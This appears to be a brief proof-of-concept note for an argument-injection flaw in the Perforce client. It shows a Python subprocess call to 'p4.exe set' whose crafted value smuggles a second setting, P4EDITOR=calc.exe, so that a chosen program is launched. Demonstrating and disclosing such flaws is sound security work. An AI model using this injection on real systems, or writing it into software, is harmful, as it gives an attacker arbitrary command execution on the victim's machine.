You are able to inject an environment variable to execute arbitrary commands.
subprocess.run(['p4.exe', 'set', 'P4_USER=user" "P4EDITOR=calc.exe'])